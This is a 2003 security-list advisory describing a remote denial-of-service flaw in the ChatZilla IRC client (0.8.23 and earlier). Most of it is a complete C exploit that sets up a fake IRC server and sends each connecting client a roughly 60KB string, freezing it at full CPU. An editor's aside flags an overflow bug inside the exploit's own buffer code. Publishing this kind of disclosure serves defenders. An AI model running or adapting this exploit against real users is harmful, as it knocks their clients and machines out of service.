[UNIX] ChatZilla Remote Denial of Service Vulnerability (Long Buffer)

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To: list@securiteam.com
Date: 16 Sep 2003 15:53:55 +0200

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  ChatZilla Remote Denial of Service Vulnerability (Long Buffer)
------------------------------------------------------------------------

SUMMARY

 <http://www.mozilla.org/projects/rt-messaging/chatzilla/> ChatZilla is
"an IRC client that is written entirely in JavaScript and XUL". A
vulnerability in the ChatZilla product allows IRC server to cause the
product to consume large amount of CPU time by sending it an arbitrary
long command.

DETAILS

Vulnerable systems:
 * ChatZilla version 0.8.23 and prior

It is possible to freeze system by sending special request with very long
string (60kb) to ChatZilla.

Exploit:
/*
 * ChatZilla <=v0.8.23 remote DoS exploit
 *
 * by m00 Security // www.m00security.org
 *
 * This sploit creats a fake irc-server on any port. Every connected
 * ChatZilla-client will have cpu-usage 100%.
 *
 * Complete advisory:
 * www.m00security.org/adv/adv003.txt
 *
 * -d4rkgr3y [d4rk@securitylab.ru]
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<signal.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define COUNT 60000
#define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"

int main(int argc, char **argv)
{
  struct sockaddr_in db;
  int sock, i, len, lame;
  const c = COUNT;
  char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
  printf("\nChatZilla <=v0.8.23 remote DoS exploit //
www.m00security.org\n\n");
  if (argc!=2){
    printf("[-] error in params. Usage\n %s port\n",argv[0]);
    exit(1);
  } else {
    printf("[~] Generating evil buf....");
  }
  /* constructing evil buf */
  for (i=0;i<c;i++)
  {
    strcat(buf,"A"); <-- Editor's note, there is an off-by-more than one
here :)
  }
  strcat(buf,"\n");
  printf(" OK\n");
  /* creating fake irc-server */
  db.sin_family = AF_INET;
  db.sin_addr.s_addr = INADDR_ANY;
  db.sin_port = htons(atoi(argv[1]));
  sock = socket(PF_INET, SOCK_STREAM, 0);
  if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
    perror("[-] bind()");
    _exit(0);
  }
  /* OK */
  printf("[+] fake ircd created on port %s\n",argv[1]);
  /* waiting for connect */
  listen(sock, SOMAXCONN);
  while(1) {
    printf("[+] User connected. Attacking....");
    len = sizeof(db);
    lame = accept(sock, (struct sockaddr*)&db, &len);
    /* go go go */
    write(lame,request,strlen(request));
    write(lame,buf,strlen(buf));
    printf(" OK\n");
    close(lame);
    close(sock);
    return(0);
  }
}

ADDITIONAL INFORMATION

The information has been provided by <mailto:grey_1999@mail.ru> d4rkgr3y.

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